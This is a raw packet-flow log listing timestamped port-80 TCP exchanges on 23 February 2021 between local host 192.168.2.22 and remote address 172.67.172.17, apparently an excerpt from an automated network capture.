Feb 23, 2021 16:55:45.516647100 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.517599106 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.517646074 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.517780066 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.518769979 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.518829107 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.518939018 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.519745111 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.519778967 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.520396948 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.520713091 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.520756960 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.521411896 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.521825075 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.521872044 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.521954060 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.522834063 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.522861004 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.522943974 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.523895025 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.523921967 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.524060011 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.525906086 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.525932074 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.526438951 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.526477098 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.526498079 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.527504921 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.527533054 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.527587891 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.527611971 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.528552055 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.528577089 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.528690100 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.529629946 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.529664040 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.529855013 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.530688047 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.530714035 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.530797005 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.531761885 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.531804085 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.532810926 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.532859087 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.532900095 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.533144951 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.534230947 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.534282923 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.534828901 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.535197020 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.535228968 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.535351992 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.535805941 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.535835028 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.535921097 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.536801100 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.536838055 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.537461042 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.537785053 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.537815094 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.537909031 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.538755894 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.538784027 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.538881063 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.539705992 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.539736032 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.539892912 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.540646076 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.540674925 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.540798903 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.541553020 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.541582108 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.541740894 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.542464972 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.542486906 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.542609930 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.543396950 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.543420076 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.543509007 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.544282913 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.544306040 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.544395924 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.545197964 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.545226097 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.545986891 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.546120882 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.546144009 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.546339989 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.547005892 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.547041893 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.547256947 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.547946930 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.547971010 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.548093081 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.548847914 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.548881054 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.549176931 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.549866915 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.549911022 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.550384045 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.550676107 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.550724983 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.550868034 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.551615000 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.551649094 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.552004099 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.552495956 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.552532911 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.552625895 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.553406954 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.553438902 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.553891897 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.554303885 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.554332018 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.554399967 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.555171967 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.555198908 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.555255890 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.556157112 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.556191921 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.556314945 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.557023048 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.557051897 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.557120085 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.557934999 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.557975054 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.558150053 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.558860064 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.558887005 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.559000969 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.559773922 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.559808016 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.559881926 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.560662985 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.560692072 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.560904026 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.561599970 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.561629057 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.561711073 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.562455893 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.562478065 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.562546015 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.563369036 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.563390970 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.563462973 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.564093113 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.564115047 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.564163923 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.564795017 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.564817905 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.564883947 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.565516949 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.565532923 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.565587044 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.566239119 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.566252947 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.566967010 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.566982031 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.566988945 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.567023993 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.567692995 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.567708969 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.567769051 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.568403006 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.568418026 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.568485022 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.569117069 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.569133997 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.569196939 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.569864988 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.569879055 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.569933891 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.570594072 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.570611000 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.570877075 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.571300983 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.571316957 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.571369886 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.572077036 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.572102070 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.572274923 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.572771072 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.572801113 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.573535919 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.573559999 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.573636055 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.574284077 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.574309111 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.574378967 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.574904919 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.574928999 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.574964046 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.575623035 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.575648069 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.575714111 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.576312065 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.576338053 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.576651096 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.577048063 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.577071905 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.577192068 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.577750921 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.577775002 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.577898026 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.578444004 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.578468084 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.578527927 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.579195976 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.579221010 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.579900980 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.579932928 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.579971075 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.579993963 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.580604076 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.580629110 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.580753088 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.581326962 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.581351042 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.581471920 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.581999063 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.582022905 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.582118988 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.582726955 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.582798958 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.583110094 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.583436012 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.583461046 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.583560944 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.584131002 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.584151983 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.584219933 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.584882021 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.584898949 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.584969044 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.585557938 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.585582018 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.585835934 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.586256027 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.586281061 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.586388111 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.586957932 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.586980104 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.587127924 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.587677956 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.587703943 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.587781906 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.588373899 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.588397980 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.588493109 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.589040041 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.589066029 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.589145899 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.589709044 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.589734077 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.589807034 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.590384960 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.590409040 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.590465069 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.591011047 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.591049910 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.591069937 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.591263056 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.591980934 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.592005014 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.592031002 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.592093945 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.592966080 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.592992067 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.593012094 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.593055010 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.593880892 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.593907118 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.593933105 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.594119072 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.594832897 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.594856977 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.594882965 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.594932079 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.595733881 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.595758915 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.595784903 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.595906019 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.596631050 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.596659899 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.596685886 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.596723080 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.597567081 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.597713947 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.597809076 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.597831011 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.597860098 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.597894907 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.598691940 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.598716021 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.598742008 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.598797083 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.599531889 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.599558115 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.599582911 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.599910021 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.600405931 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.600430012 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.600460052 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.600637913 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.601243973 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.601267099 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.601293087 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.601443052 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.602082014 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.602118015 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.602138042 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.602183104 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.602907896 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.602932930 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.602958918 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.603126049 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.603729963 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.603754044 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.603784084 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.603854895 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.604532957 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.604562998 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.604582071 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.605391979 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.605420113 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.605427980 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.605448961 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.606133938 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.606159925 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.606184959 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.606193066 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.606203079 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.606942892 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.606973886 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.606990099 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.606995106 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.607180119 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.607709885 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.607733011 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.607759953 CET	80	49169	172.67.172.17	192.168.2.22
